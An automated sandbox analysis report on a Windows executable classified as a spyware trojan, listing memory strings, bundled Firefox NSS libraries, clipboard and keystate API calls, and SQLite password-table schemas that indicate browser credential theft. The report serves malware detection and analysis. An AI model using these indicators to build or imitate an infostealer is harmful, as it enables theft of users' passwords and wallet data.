Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FHDAFIID.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1856393470.0000000022779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1856393470.0000000022779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17381
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 4c469e2cf403fea6249e835ddce23de2.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: FHDAFIID.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: FHDAFIID.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1920372324.0000000028988000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1920372324.0000000028988000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009BE140 OpenClipboard,WideCharToMultiByte,_free,_free,SetLastError,_free,_free,_free,_free,

0_2_009BE140

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009BE0A0 GetClipboardData,GlobalLock,_malloc,GlobalUnlock,CloseClipboard,_free,

0_2_009BE0A0

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009B6150 GetKeyState,SendMessageW,IsRectEmpty,GetClientRect,InvalidateRect,InvalidateRect,InvalidateRect,UpdateWindow,IsRectEmpty,GetAsyncKeyState,SendMessageW,

0_2_009B6150

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6A43F	0_2_00A6A43F
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6AEA2	0_2_00A6AEA2
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00B1A010	0_2_00B1A010
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009B6150	0_2_009B6150
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009C6140	0_2_009C6140
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009BA2D0	0_2_009BA2D0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6A4A8	0_2_00A6A4A8
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009DA590	0_2_009DA590
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6A6C2	0_2_00A6A6C2
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009CC640	0_2_009CC640
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A4E655	0_2_00A4E655
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009BE760	0_2_009BE760
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6A8EA	0_2_00A6A8EA
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009B9990	0_2_009B9990
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6A94F	0_2_00A6A94F
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00A6AB9F	0_2_00A6AB9F
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009C7B10	0_2_009C7B10
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_009D0D50	0_2_009D0D50
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00B1BFDA	0_2_00B1BFDA
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C74AC60	0_2_6C74AC60
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C806C00	0_2_6C806C00
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C79ECD0	0_2_6C79ECD0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C81AC30	0_2_6C81AC30
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C73ECC0	0_2_6C73ECC0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C8CCDC0	0_2_6C8CCDC0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C8C8D20	0_2_6C8C8D20
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C744DB0	0_2_6C744DB0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C86AD50	0_2_6C86AD50
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7D6D90	0_2_6C7D6D90
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C80ED70	0_2_6C80ED70
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7DEE70	0_2_6C7DEE70
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C820E20	0_2_6C820E20
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C74AEC0	0_2_6C74AEC0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7E0EC0	0_2_6C7E0EC0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7C6E90	0_2_6C7C6E90
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C888FB0	0_2_6C888FB0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7AEF40	0_2_6C7AEF40
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C746F10	0_2_6C746F10
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C81EFF0	0_2_6C81EFF0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C740FE0	0_2_6C740FE0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C880F20	0_2_6C880F20
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C74EFB0	0_2_6C74EFB0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C802F70	0_2_6C802F70
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C790820	0_2_6C790820
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7CA820	0_2_6C7CA820
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C8468E0	0_2_6C8468E0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C814840	0_2_6C814840
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C778960	0_2_6C778960
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C8009B0	0_2_6C8009B0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C85C9E0	0_2_6C85C9E0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C796900	0_2_6C796900
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7749F0	0_2_6C7749F0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7D09A0	0_2_6C7D09A0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7FA9A0	0_2_6C7FA9A0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7BCA70	0_2_6C7BCA70
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7F8A30	0_2_6C7F8A30
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7EEA00	0_2_6C7EEA00
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7BEA80	0_2_6C7BEA80
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C846BE0	0_2_6C846BE0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C748BAC	0_2_6C748BAC
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7E0BA0	0_2_6C7E0BA0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C86A480	0_2_6C86A480
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C758460	0_2_6C758460
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7CA430	0_2_6C7CA430
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7A4420	0_2_6C7A4420
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7864D0	0_2_6C7864D0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7DA4D0	0_2_6C7DA4D0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7E0570	0_2_6C7E0570
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7A2560	0_2_6C7A2560
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C798540	0_2_6C798540
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C80A5E0	0_2_6C80A5E0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7CE5F0	0_2_6C7CE5F0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7345B0	0_2_6C7345B0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C844540	0_2_6C844540
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C888550	0_2_6C888550
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C79C650	0_2_6C79C650
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C79E6E0	0_2_6C79E6E0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7DE6E0	0_2_6C7DE6E0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7646D0	0_2_6C7646D0

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: String function: 00B1B8D7 appears 96 times
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: String function: 6C8C09D0 appears 126 times
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: String function: 6C769B10 appears 34 times
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: String function: 6C763620 appears 38 times

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: invalid certificate

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)

Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameusbclient.exef# vs 4c469e2cf403fea6249e835ddce23de2.exe
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 4c469e2cf403fea6249e835ddce23de2.exe
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962537959.000000006F8F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 4c469e2cf403fea6249e835ddce23de2.exe
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Binary or memory string: OriginalFilenameusbclient.exef# vs 4c469e2cf403fea6249e835ddce23de2.exe

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009D3E30 __snprintf,_memset,GetVersionExW,GetLastError,_memset,FormatMessageW,SendMessageW,

0_2_009D3E30

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009CFEC0 _memset,GetVersionExW,CoInitializeEx,CreateEventW,CreateEventW,CloseHandle,CreateEventW,CloseHandle,CreateEventW,CloseHandle,CreateEventW,CloseHandle,CreateEventW,CloseHandle,__beginthreadex,CloseHandle,CoCreateInstance,

0_2_009CFEC0

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_00A6C0D8 LockResource,

0_2_00A6C0D8

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NHEHMOPV.htm

Jump to behavior

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000003.1859335907.000000002274E000.00000004.00000020.00020000.00000000.sdmp, KFCBAEHCAEGDHJKFHJKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961873023.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 4c469e2cf403fea6249e835ddce23de2.exe

ReversingLabs: Detection: 13%

Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: </LAUNCH_ICON>
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: </LAUNCH_BTN>

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: uxtheme.dll	Jump to behavior
